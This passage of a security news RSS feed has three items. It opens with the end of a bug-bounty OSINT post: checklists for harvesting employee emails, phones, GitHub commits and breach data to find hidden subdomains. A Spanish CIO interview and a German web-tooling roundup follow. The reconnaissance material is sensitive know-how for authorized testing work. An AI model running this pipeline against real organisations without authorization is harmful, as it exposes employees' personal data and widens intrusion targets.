domain search completed</li><li>☐ theHarvester multi-source harvest completed</li><li>☐ Skymem cross-reference completed</li><li>☐ Web page email extraction completed</li><li>☐ JavaScript file email extraction completed</li><li>☐ LinkedIn employee name scraping completed</li><li>☐ GitHub commit email extraction completed</li><li>☐ Mailing list/public forum extraction completed</li><li>☐ Breach data email extraction (with authorization)</li></ul><h3>☐ Email → Domain Extraction</h3><ul><li>☐ All unique domains extracted from email addresses</li><li>☐ Primary domain filtered out to reveal hidden domains</li><li>☐ Subsidiary/acquired company domains identified</li><li>☐ Internal/private domains identified</li><li>☐ Third-party service domains identified</li><li>☐ Employee personal domains identified</li></ul><h3>☐ Email → GitHub → Domain Chain</h3><ul><li>☐ GitHub accounts found for employee emails</li><li>☐ Repos and commits scanned for domain references</li><li>☐ Organization discovery completed</li><li>☐ Config files and environment vars checked</li><li>☐ Hardcoded endpoints extracted</li><li>☐ S3 bucket names and cloud resources extracted</li></ul><h3>☐ Email → Service → Domain Chain</h3><ul><li>☐ Atlassian (Jira/Confluence) instance discovered</li><li>☐ Slack workspace discovered</li><li>☐ Microsoft 365 tenant discovered</li><li>☐ Google Workspace tenant discovered</li><li>☐ Zendesk/Freshdesk/Helpscout portal discovered</li><li>☐ Status page hosted domain discovered</li><li>☐ Documentation/wiki hosted domain discovered</li></ul><h3>☐ Full Subdomain Enumeration on New Domains</h3><ul><li>☐ CT log queries (crt.sh, certspotter) for each new domain</li><li>☐ Passive DNS queries (SecurityTrails, VirusTotal)</li><li>☐ Subdomain brute-force (subfinder, puredns, massdns)</li><li>☐ Permutation-based discovery (alterx, gotator, dmut)</li><li>☐ Recursive enumeration (each subdomain → parent as new target)</li><li>☐ Wayback Machine historical subdomain discovery</li><li>☐ Technology fingerprinting (httpx, whatweb)</li><li>☐ HTTP response analysis (live vs. dead, redirects, error pages)</li></ul><h3>☐ Cross-Reference Validation</h3><ul><li>☐ Phone numbers matched to discovered domains</li><li>☐ Emails matched to discovered domains</li><li>☐ LinkedIn past companies cross-referenced with acquisitions</li><li>☐ GitHub profiles cross-referenced with company email domains</li><li>☐ Breach data cross-referenced (correlates emails, phones, domains)</li><li>☐ Scope validation for every newly discovered asset</li></ul><h3>☐ Continuous Monitoring</h3><ul><li>☐ Daily CT log monitoring for new subdomains on discovered domains</li><li>☐ Weekly phone number re-check (new WHOIS entries)</li><li>☐ Weekly email re-harvesting (new employees, new domains)</li><li>☐ GitHub monitoring for new employee commits</li><li>☐ Acquisition news monitoring (Google Alerts, Crunchbase)</li><li>☐ LinkedIn employee movement tracking</li><li>☐ Quarterly full pipeline re-run</li></ul><h3>Final Technical Notes</h3><h3>Why This Works at Scale</h3><p>The average Fortune 500 company has:</p><ul><li>50–200 registered domains</li><li>10–50 subsidiaries/acquired entities</li><li>2,000–20,000 employees</li><li>5–20 different phone numbers</li></ul><p>DNS brute-force will find maybe 30–50% of the subdomains on the main domain. It will find almost none of the subdomains on other domains.</p><p>Phone and email OSINT finds the other domains. Then you run DNS brute-force on those. The result is a 3–5x increase in discovered attack surface.</p><h3>The Data Flow</h3><pre>Phone Number → Reverse WHOIS → New Domains<br>Phone Number → Business Registry → Legal Entities → New Domains<br>Phone Number → VOIP Provider → Admin Console → Subdomains<br><br>Email Address → Hunter.io → Cross-Company Domains<br>Email Address → GitHub → Repos → Configs → Domains<br>Email Address → Breach Data → Service Registrations → Domains<br>Email Address → LinkedIn → Past Companies → Acquired Domains<br><br>New Domains → Subdomain Enumeration → Attack Surface</pre><h3>A Final Word on Authorization</h3><p>Everything in this blog assumes you have explicit written authorization to test the target’s assets. I do not share the names of actual targets. All examples are anonymized composites of real engagements.</p><p>If you’re new to bug bounty:</p><ol><li>Start with public programs on HackerOne/Bugcrowd that explicitly allow OSINT</li><li>Never use breach data unless the program explicitly permits it</li><li>Never use social engineering unless the program explicitly permits it</li><li>When in doubt, ask the program’s security team</li></ol><p>Disclaimer: Only for authorized bug bounty / pentesting environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*o-3pvh96SZd-YMZS.png"><figcaption>Follow US</figcaption></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#BugBounty #OSINT #CyberSecurity #EthicalHacking #Infosec #PenetrationTesting #AttackSurface #SubdomainEnumeration #ThreatHunting #SecurityResearch #RedTeam #DigitalFootprint #CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=16b1e7d533cd" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/phone-numbers-and-emails-to-hidden-subdomains-the-osint-acquisition-pipeline-that-uncovered-a-16b1e7d533cd">Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patricia Arboleda: “Los CIO que generan una transformación real hablan el lenguaje del negocio antes que el de la tecnología”]]></title>
<description><![CDATA[“Las competencias más importantes para los líderes tecnológicos serán la capacidad de tomar decisiones bajo presión, liderar en entornos de incertidumbre, gestionar el cambio de forma efectiva y mantener a los equipos comprometidos cuando la presión aumenta”, asegura Patricia Arboleda, presidenta...]]></description>
<link>https://tsecurity.de/de/3604121/it-nachrichten/patricia-arboleda-los-cio-que-generan-una-transformacin-real-hablan-el-lenguaje-del-negocio-antes-que-el-de-la-tecnologa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604121/it-nachrichten/patricia-arboleda-los-cio-que-generan-una-transformacin-real-hablan-el-lenguaje-del-negocio-antes-que-el-de-la-tecnologa/</guid>
<pubDate>Wed, 17 Jun 2026 11:03:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>“Las competencias más importantes para los líderes tecnológicos serán la capacidad de tomar decisiones bajo presión, liderar en entornos de incertidumbre, gestionar el cambio de forma efectiva y mantener a los equipos comprometidos cuando la presión aumenta”, asegura <strong><a href="https://www.linkedin.com/in/patriciaarboleda/" rel="nofollow">Patricia Arboleda</a>, <a href="https://www.computerworld.es/article/4120484/patricia-arboleda-women-in-tech-falta-un-sistema-que-reconozca-desarrolle-y-promueva-el-talento-femenino-en-tecnologia.html">presidenta de Women in Tech España</a> y CEO y fundadora de Arboleda Consulting</strong>, firma especializada en liderazgo y transformación organizacional. La experta, que atesora más de 25 años de experiencia en el sector tecnológico —desempeñó durante años puestos ejecutivos en Hewlett Packard Enterprise—, en la actualidad asesora a consejeros delegados (CEO), líderes de TI (CIO) y equipos directivos para convertirlos en ejecutivos resilientes, inclusivos y preparados para entornos de cambio acelerado como el actual.</p>



<p>Además, la ejecutiva forma parte este año del jurado de los <a href="https://event.foundryco.com/cio-100-awards-espana/" rel="nofollow">CIO 50 Awards en España</a>, la convocatoria de premios de referencia en el país que persigue distinguir a los mejores directivos de sistemas de información (CIO) y los proyectos de TI más innovadores. Estos ‘Oscar de la industria de TI’, que <a href="https://www.cio.com/article/4167330/cuenta-atras-para-presentar-candidaturas-en-espana-a-los-cio-50-awards.html">forman parte del proyecto global CIO Awards</a> de la publicación internacional CIO del grupo editorial Foundry, se entregarán el 8 de octubre en Madrid. El próximo 30 de junio finaliza el plazo de recepción de candidaturas.</p>



<p>Con motivo de su participación como jurado en los prestigiosos galardones, CIO ESPAÑA ha planteado algunas cuestiones sobre liderazgo y estrategia en TI a Patricia Arboleda, que responde por escrito desde Estados Unidos, donde vive gran parte del año.</p>



<p><strong>Desde su experiencia acompañando y asesorando a líderes tecnológicos, ¿qué características diferencian a los CIO que generan una transformación real de aquellos que se limitan a gestionar la tecnología?</strong></p>



<p>A lo largo de mi carrera, primero como ejecutiva en el sector tecnológico durante más de dos décadas y ahora trabajando con CEO, CIO y equipos directivos, he observado una diferencia muy clara: los CIO que generan una transformación real hablan el lenguaje del negocio antes que el de la tecnología. </p>



<p>La tecnología se ha convertido en un factor estratégico para la competitividad, pero por sí sola no transforma una organización. Lo que marca la diferencia es la capacidad de conectar las inversiones tecnológicas con crecimiento, innovación, productividad y generación de valor. Los CIO más influyentes que conozco no esperan a ser invitados a las conversaciones estratégicas; forman parte de ellas. Entienden hacia dónde va el mercado, anticipan riesgos, identifican oportunidades y ayudan a sus organizaciones a prepararse para escenarios cada vez más complejos.</p>



<p>En un contexto marcado por la inteligencia artificial, las tensiones geopolíticas, la ciberseguridad y la velocidad del cambio, el papel del CIO está evolucionando rápidamente. Hoy se espera que sea un líder empresarial con una sólida comprensión de la tecnología, no únicamente un experto en tecnología.</p>



<p><strong>Como miembro del jurado de los CIO 50 Awards que la publicación CIO ESPAÑA organiza este año, ¿qué señales le indican que una candidatura refleja un liderazgo sólido y una visión estratégica más allá de los resultados del proyecto?</strong></p>



<p>Los resultados son importantes, pero rara vez cuentan toda la historia. Cuando reviso una candidatura me interesa entender qué ha cambiado realmente en la organización gracias a ese liderazgo. ¿Se han desarrollado nuevas capacidades? ¿La organización es ahora más ágil? ¿Toma mejores decisiones? ¿Está mejor preparada para afrontar el futuro?</p>



<p>También me fijo mucho en la capacidad de influir más allá del área tecnológica. Las transformaciones más exitosas que he visto nunca han sido responsabilidad exclusiva de TI. Requieren colaboración, alineamiento y la capacidad de movilizar a personas con prioridades muy distintas.</p>



<p>Hay algo que suelo buscar especialmente: la evidencia de que el líder ha dejado una huella duradera en la organización. Los proyectos terminan. El liderazgo, cuando es sólido, sigue generando impacto mucho después de que el proyecto haya concluido.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>“La conversación sobre diversidad ha cambiado profundamente en los últimos años. Ya no se trata únicamente de representación. Se trata de competitividad”</strong></em></p></blockquote></figure>



<p><strong>Desde la perspectiva de Women in Tech, ¿cómo pueden los CIO contribuir a construir organizaciones más diversas, inclusivas y preparadas para el futuro?</strong></p>



<p>Creo que la conversación sobre diversidad ha cambiado profundamente en los últimos años. Ya no se trata únicamente de representación. Se trata de competitividad. Como Presidenta de Women in Tech España tengo la oportunidad de colaborar con empresas, instituciones y líderes tecnológicos que comparten una preocupación común: cómo atraer y desarrollar el talento que necesitarán en los próximos años. La realidad es que existe una enorme escasez de talento tecnológico a nivel global. Si queremos que nuestras organizaciones sigan innovando, no podemos permitirnos dejar fuera una parte significativa del talento disponible.</p>



<p>Los CIO tienen una enorme capacidad de influencia en este ámbito. Pueden cuestionar procesos tradicionales de selección, impulsar programas de desarrollo, fomentar culturas más inclusivas y, sobre todo, convertirse en referentes para nuevas generaciones de profesionales que están decidiendo hoy si quieren construir una carrera en tecnología.</p>



<p>Las organizaciones más preparadas para el futuro serán aquellas que logren atraer perspectivas diversas y convertirlas en innovación, creatividad y mejores decisiones de negocio.</p>



<p><strong>En un contexto marcado por la inteligencia artificial y la aceleración del cambio, ¿qué nuevas competencias considera imprescindibles para los líderes tecnológicos?</strong></p>



<p>Esta es probablemente la conversación que más estoy teniendo con líderes actualmente. Como CEO y fundadora de una firma de consultoría especializada en transformación del liderazgo, desarrollo de talento y neurociencia aplicada al desempeño, trabajo con organizaciones que están intentando adaptarse a un ritmo de cambio que, en muchos casos, no tiene precedentes.</p>



<p>Y hay una conclusión que aparece una y otra vez: el mayor desafío no es tecnológico, es humano. La inteligencia artificial está transformando funciones, procesos y modelos de negocio. Sin embargo, las organizaciones que están obteniendo mejores resultados no son necesariamente las que adoptan antes una tecnología, sino aquellas cuyos líderes y equipos son capaces de adaptarse más rápido al cambio.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“El mayor desafío no es tecnológico: es humano”</em></strong></p></blockquote></figure>



<p>Por eso creo que las competencias más importantes para los líderes tecnológicos serán la capacidad de tomar decisiones bajo presión, liderar en entornos de incertidumbre, gestionar el cambio de forma efectiva y mantener a los equipos comprometidos cuando la presión aumenta.</p>



<p>Lo veo constantemente en mi trabajo. Muchos líderes se enfrentan a una paradoja: tienen más información que nunca y, sin embargo, deben tomar decisiones cada vez más complejas y en menos tiempo. A eso se suma la necesidad de mantener equipos motivados, resilientes y enfocados en medio de una transformación permanente.</p>



<p>La inteligencia artificial seguirá evolucionando a gran velocidad. El liderazgo humano, la capacidad de generar confianza, desarrollar talento y ayudar a las personas a navegar la incertidumbre serán los verdaderos diferenciadores.</p>



<p><strong>¿Qué consejo daría a los profesionales que aspiran a convertirse en referentes de liderazgo tecnológico y, algún día, ser reconocidos en los CIO 50 Awards?</strong></p>



<p>Les diría que no limiten su desarrollo profesional a la tecnología. Los mejores líderes tecnológicos que he conocido entienden profundamente el negocio, saben construir relaciones de confianza y son capaces de influir mucho más allá de su ámbito de responsabilidad.</p>



<p>También les recomendaría desarrollar una visión amplia del entorno. Hoy las decisiones tecnológicas están condicionadas por factores económicos, regulatorios, geopolíticos y sociales que hace apenas unos años tenían un impacto mucho menor. Y, quizá el consejo más importante, que nunca dejen de invertir en las personas. La tecnología cambia constantemente. Lo que permanece es la capacidad de construir equipos sólidos, desarrollar talento y crear organizaciones capaces de aprender más rápido que su competencia. Al final, los líderes que dejan huella no son recordados por las herramientas que implementaron. Son recordados por las organizaciones que ayudaron a construir y por las personas a las que ayudaron a crecer.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Web Development Tools – 8 innovative Optionen]]></title>
<description><![CDATA[Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.dotshock | shutterstock.com



In der Webentwicklung gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von ...]]></description>
<link>https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</guid>
<pubDate>Tue, 16 Jun 2026 06:05:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2024/08/0_dotshock_shutterstock_2312374465_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="App Developer Testing 16z9 SHUTTERSTOCK EDITORIAL GERMANY ONLY" class="wp-image-3497299" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.</figcaption></figure><p class="imageCredit">dotshock | shutterstock.com</p></div>



<p>In der <a href="https://www.computerwoche.de/article/2802920/was-macht-ein-web-developer.html" target="_blank">Webentwicklung</a> gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von schwerfälliger Komplexität befreit werden. Wie das funktionieren kann, zeigen die acht Tools, die wir Ihnen in diesem Beitrag vorstellen.</p>



<p>Diese zeichnet aus, dass sie sich (größtenteils) mit alternativen Ansätzen befassen, die das Bewährte in Frage stellen. Auch wenn Sie die hier vorgestellten Lösungen nicht direkt für Ihre Zwecke einsetzen können, lohnt es sich also dennoch, sie im Auge zu behalten.</p>



<h2 class="wp-block-heading">1. <a href="https://astro.build/" target="_blank" rel="noreferrer noopener">Astro</a></h2>



<p>Wenn man eine Gruppe klassischer Musiker mit Noten in einen Raum setzt und sie einfach spielen lässt, <em>könnte </em>das Ergebnis ein stimmiges Stück sein. Wahrscheinlich braucht es aber einen Dirigenten, der alles koordiniert. In Zusammenhang mit Frontend-Frameworks ist <a href="https://www.computerwoche.de/article/3834789/astro-tutorial-plug-play-webentwicklung.html" target="_blank">Astro</a> genau das – ein Maestro.</p>



<p>Astro kümmert sich um die „<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" target="_blank">Hydration</a>“ des Frontends, also den Prozess, die Shell reaktiv zu machen. Beim konventionellen Server-Side Rendering (SSR) sendet der Server nicht nur den HTML-Code, sondern auch die riesige Framework-Runtime über das Netzwerk – nur um der Seite Event-Listener hinzuzufügen. Mit Astro ist es möglich, Komponenten in React, Svelte, Vue oder Solid zu schreiben – der Compiler des Tools entfernt dabei das gesamte JavaScript, bevor es den Browser erreicht. Astro liefert standardmäßig Zero JS aus und verlässt sich auf seine „<a href="https://docs.astro.build/en/concepts/islands/" target="_blank" rel="noreferrer noopener">Island Architecture</a>“, um nur die spezifischen Komponenten zu hydrieren, die Interaktivität erfordern.</p>



<p>Da Astro die Interaktivität in separaten „Inseln“ isoliert, ist es im Vergleich zu einer monolithischen Single-Page-Anwendung grundsätzlich schwieriger, komplexe States (etwa eine komplexe Seitenleiste mit Filterfunktion, die mit einem separaten dynamischen Data Grid kommuniziert) zwischen diesen Inseln zu teilen. Wenn Sie eine hochgradig interaktive, Dashboard-lastige Applikation entwickeln, in der jede Komponente die andere beeinflusst, könnten sich die isolierten Inseln eher nach Zwangsjacke als nach Befreiung anfühlen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">Qwik</a>. Während Astro verschlankt, indem es den JavaScript-Code vollständig entfernt, setzt Qwik auf Verzögerung: Es liefert sofort HTML und serialisiert den Anwendungsstatus. Dabei wird nur der für eine bestimmte Interaktion erforderliche JavaScript-Code genau in der Millisekunde heruntergeladen und ausgeführt, in der der User auf die entsprechende Schaltfläche klickt.</p>



<h2 class="wp-block-heading">2. <a href="https://biomejs.dev/" target="_blank" rel="noreferrer noopener">Biome</a></h2>



<p><a href="https://www.computerwoche.de/article/2816993/7-gruende-rust-zu-hassen-und-zu-lieben.html" target="_blank">Rust</a> ersetzt nach und nach die zugrundeliegende Infrastruktur im JavaScript-Ökosystem. Das verleiht dem Biome-Tool seine Hardware-ähnliche Geschwindigkeit. Das Alleinstellungsmerkmal dieses Dev-Werkzeugs ist es allerdings, die weitläufige Webentwicklungs-Toolchain zu vereinheitlichen.  </p>



<p>Wenn die <code>.eslintrc</code>– und <code>.prettierrc</code>-Dateien sowie die Dutzenden zugehörigen Plugins in Ihrem Projekt bereits zu einem dunklen, unzufriedenstellenden Sumpf verkommen sind, ist Biome der Ausweg: Das Tool besteht aus einer einzelnen Binary, die komplett verworrene Foramtierungs- und Linting-Ökosysteme substituiert – und damit einen Weg zu Codequalität eröffnet, der ganz ohne ein weit verzweigtes Netz von Abhängigkeiten auskommt. </p>



<p>Der wohl größte Nachteil von Biome ist dabei gleichzeitig auch das Feature, das das Tool so schlank macht: Die Erweiterbarkeit geht verloren.</p>



<p><strong>Auch interessant:</strong> <a href="https://rspack.rs/" target="_blank" rel="noreferrer noopener">Rspack</a>. Biome bereinigt das Linting, Rspack entschlackt den Build-Schritt. Auch dieses Tool basiert auf Rust für mehr Geschwindigkeit. Dabei nutzt es – etwa im Gegensatz zu Vite – den „bundled“ Dev-Modus.</p>



<h2 class="wp-block-heading">3. <a href="https://bun.com/" target="_blank" rel="noreferrer noopener">Bun</a></h2>



<p>Die meisten gut informierten JavaScript-Enthusiasten dürften längst mit Bun vertraut sein. Wenn Sie die faszinierende Kombination aus All-in-One-Lösung und atemberaubender Geschwindigkeit noch nicht selbst erlebt haben, wird es Zeit. </p>



<p>Wenn Sie an <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> gewöhnt sind und Bun ausprobieren, werden Sie sehr wahrscheinlich sofort davon beeindruckt sein, wie schnell Befehle ausgeführt werden. Das Bun-Team hat zudem über mehrere Jahre hinweg umfangreiche Anstrengungen unternommen, um seine Engine eng an die APIs von Node anzupassen. Das macht Bun zu einer außergewöhnlichen technischen Errungenschaft, die jeder JavaScript-Entwickler zumindest explorieren sollte.</p>



<p>Obwohl Buns <a href="https://www.computerwoche.de/article/2821852/die-moderne-c-alternative.html" target="_blank">Zig</a>-basierte Engine in vielerlei Hinsicht ein direkter Ersatz für Node ist: Sie ist nicht perfekt – insbesondere angesichts der gigantischen Anzahl von Node-Packages, die existieren. Deshalb bleibt Node auch die beste bewährte, konservative, Engine für serverseitiges JavaScript.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Bun hat sich zwar zu Recht einen Ruf als innovatives Tool erarbeitet – allerdings wurde Deno still und leise um eine Reihe attraktiver Enterprise-Funktionen ergänzt – etwa eine integrierte Bereitstellungsplattform und das Frontend-Framework <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html" target="_blank">Deno Fresh</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://htmx.org/" target="_blank" rel="noreferrer noopener">HTMX</a></h2>



<p>Wenn es um smarte Wege geht, das Web zu vereinfachen, könnte man <a href="https://www.computerwoche.de/article/2833138/dynamisches-html-ohne-javascript.html" target="_blank">HTMX</a> durchaus als Paradebeispiel anführen. Das Projekt greift die Kernmechanismen moderner Web-Clients wie <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" target="_blank" rel="noreferrer noopener">Ajax</a> sowie partielle Aktualisierungen auf und wandelt diese in einfache HTML-Attribute um. Das hat zur Folge, dass der State ausschließlich auf dem Server gespeichert wird, der dafür zuständig ist, die HTMX-Fragmente zu senden.</p>



<p>Natürlich läuft das nicht ohne Kompromisse ab. Einer ist die extreme Abhängigkeit vom Netzwerk: Da es keine Client-seitige State Machine gibt, ist der Browser ohne Verbindung zum Server hilflos. Es sei denn, Sie wagen sich an Experimente mit einem <a href="https://www.computerwoche.de/article/4142269/der-browser-wird-zur-datenbank.html" target="_blank">„local-first“-Data Store</a>. Kurz gesagt: Wenn Ihre App in den Anwendungsbereich von HTMX fällt, ist HTMX wahrscheinlich der direkteste „<a href="https://www.computerwoche.de/article/2827943/was-ist-rest.html" target="_blank">RESTful</a>-Weg“, um diese zu erstellen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" target="_blank">Hotwire</a>. Als Tool-Sammlung, um Single-Page-Anwendungen unter Verwendung von HTML über das Netzwerk zu erstellen, verfügt Hotwire über großartige Funktionen wie Page Morphing. Getreu der klassischen „Free as in Speech“-Softwarekultur werden Ideen zwischen den Projektverantwortlichen von HTMX und Hotwire ausgetauscht.</p>



<h2 class="wp-block-heading">5. <a href="https://powersync.com/" target="_blank" rel="noreferrer noopener">PowerSync</a></h2>



<p>Auch wenn die „Local-First“-Datenrevolution, für die <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" target="_blank">PowerSync</a> steht, einen ausgiebigen technischen Deepdive erfordert: Der Kernansatz besteht darin, die Art und Weise, wie Daten in der Webarchitektur fließen, grundlegend neu zu gestalten. Das sollte jeder Webentwickler im Blick behalten.  </p>



<p>Normalerweise erstellen Entwickler Architekturen, die eine komplexe Middleware erfordern. Diese fungiert als Vermittler zwischen einem reaktiven Client und dem Data Store. Die radikale Alternative mit PowerSync: Der Broker wird komplett umgangen, indem eine SQLite-Wasm-Datenbank direkt in den Browser integriert wird. Die Benutzeroberfläche arbeitet dabei synchron mit lokalen Daten unter Verwendung von <a href="https://www.computerwoche.de/article/2830650/9-gruende-gegen-sql.html" target="_blank">SQL</a>, die Latenzzeit beträgt null. Der gefürchtete Ladekreisel wird damit vollständig eliminiert. Im Hintergrund gleicht PowerSync den lokalen Speicher automatisch mit der zentralen Postgres-Datenbank ab. Das Tool händelt die komplexen Synchronisierungs-Algorithmen und Netzwerkschwankungen und macht Ihre Anwendung damit effektiv „offline-first“ – per Default.</p>



<p>Der Haken ist dabei, dass ein „Local-First“-Entwicklungsansatz eine massive Umstellung erfordert: Sie müssen Data Slices (ähnlich einer View) definieren, die jeder Client-User vorhält. Die PowerSync-Engine übernimmt zwar auch hierbei den Großteil der Arbeit, aber Dinge wie Schemamigrationen und Konfliktlösungen (wenn zwei Benutzer denselben Datensatz offline bearbeiten) erfordern ein deutlich aufwendigeres Setup als eine Standard-REST-API.</p>



<p><strong>Auch interessant:</strong> <a href="https://rxdb.info/" target="_blank" rel="noreferrer noopener">RxDB</a>. Dieses Tool ist eine etwas andere Variante eines „Local-First“-Datenspeichers. Während PowerSync stark auf Postgres, SQLite und Hintergrund-Daemons setzt, bietet RxDB eine NoSQL-, „Offline-First“- und reaktive Datenbank. Diese behandelt Queries als „observable“ Streams und führt UI-Aktualisierungen genau in der Millisekunde durch, in der sich die lokalen Daten ändern.</p>



<h2 class="wp-block-heading">6. <a href="https://github.com/RooCodeInc/Roo-Code" target="_blank" rel="noreferrer noopener">RooCode</a></h2>



<p>Der wesentliche Vorteil von RooCode ist, dass es sämtliche Ihrer KI-Anbieter koordinieren kann – und zwar kostenlos. Bei dem Tool handelt es sich um eine Erweiterung für <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a>, die einen „AI Manager Layer“ bereitstellt. Dieser schlägt eine Brücke zwischen den allgemeinen Fähigkeiten des LLM und den Code-spezifischen Strukturen auf Projektebene.</p>



<p>Dabei erreicht RooCode zwar nicht die Performanz von Tools wie Cursor oder <a href="https://www.computerwoche.de/article/4107872/google-antigravity-ide-angetestet.html" target="_blank">Antigravity</a> – ist aber durchaus in der Lage, die meisten kleinen bis mittelgroßen Requests zu bewältigen. Und das mit einem Minimum an unnötigem Overhead: RooCode hält Sie fern von proprietären Ökosystemen und ermöglicht auch, eigene API-Keys einzubinden – von Anthropic, OpenAI oder auch lokalen Modellen, die auf der eigenen Hardware laufen.</p>



<p>Die versteckten Kosten bestehen – wie bei jedem KI-Coding-Assistenten – darin, dass das Tool die Rolle des Entwicklers vom Code-Autor zum -Redakteur verschiebt.</p>



<p><strong>Auch interessant:</strong> <a href="https://antigravity.google/" target="_blank" rel="noreferrer noopener">Antigravity</a>. RooCode ist eine leichtgewichtige Erweiterung, die Ihre bestehende Umgebung aufwertet. Googles Antigravity ist hingegen ein maßgeschneiderter Editor, der von Grund auf mit Fokus auf KI entwickelt wurde und deshalb auch für Agentic-AI-Workflows konzipiert ist.</p>



<h2 class="wp-block-heading">7. <a href="https://tanstack.com/query/latest" target="_blank" rel="noreferrer noopener">TanStack Query</a></h2>



<p>Selbst wenn Client-seitiges State Management kein Problem mehr darstellt (siehe nächstes Tool), bleibt eine große Lücke bestehen: die Synchronisierung über die Servergrenze hinweg. An diesem Punkt kommt TanStack Query ins Spiel. Distributed Computing ist ein notorisch heikles Problem. Standardmäßige reaktive Modelle speichern den State sowohl auf dem Client als auch auf dem Server. Diese inhärente architektonische Reibung versucht TanStack Query abzumildern, indem es als intelligente asynchrone Schicht fungiert.</p>



<p>Anstatt eine Vielzahl manueller Fetches zu verwenden, die an <code>useState</code>-Aktualisierungen geknüpft sind (zusammen mit anfälligen <code>isLoading</code>-Flags und komplexer Logik zur State-Synchronisation), abstrahiert TanStack Query die aufwendige Arbeit, die mit API-Antworten, Hintergrundaktualisierungen und der Duplikatsbereinigung von Anfragen verbunden ist. Übrig bleiben einige wenige, elegante Hooks. Diese teilen TanStack Query mit, woher die Daten bezogen werden sollen. Dabei nutzt das Tool ein Muster namens „stale-while-revalidate“. Soll heißen: Daten werden im Frontend zwischengespeichert, wiederverwendet (wodurch Reload-Wartezeiten entfallen) und im Hintergrund mit dem aktuellen State synchronisiert.</p>



<p>Der Haken daran ist allerdings, dass TanStack Query Sie dazu zwingt, sich einem der hartnäckigsten Informatik-Probleme direkt zu stellen: der <a href="https://medium.com/on-building-software/why-cache-invalidation-is-actually-hard-e8b5e9a83e45" target="_blank" rel="noreferrer noopener">Cache-Invalidierung</a>. Sie werden also Zeit damit verbringen, über „Query Keys“ zu sinnieren und damit, zu entscheiden, wann ein Datenelement als „veraltet“ gelten soll.</p>



<p><strong>Auch interessant:</strong> <a href="https://swr.vercel.app/" target="_blank" rel="noreferrer noopener">SWR</a>. Während TanStack Query ein absolutes Kraftpaket für komplexe Datenmanipulation ist, bleibt SWR ein Vorreiter des API-Minimalismus. Es tut genau das, was sein Name andeutet (stale-while-revalidate) – und das fast ohne lästige Konfiguration.</p>



<h2 class="wp-block-heading">8. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a></h2>



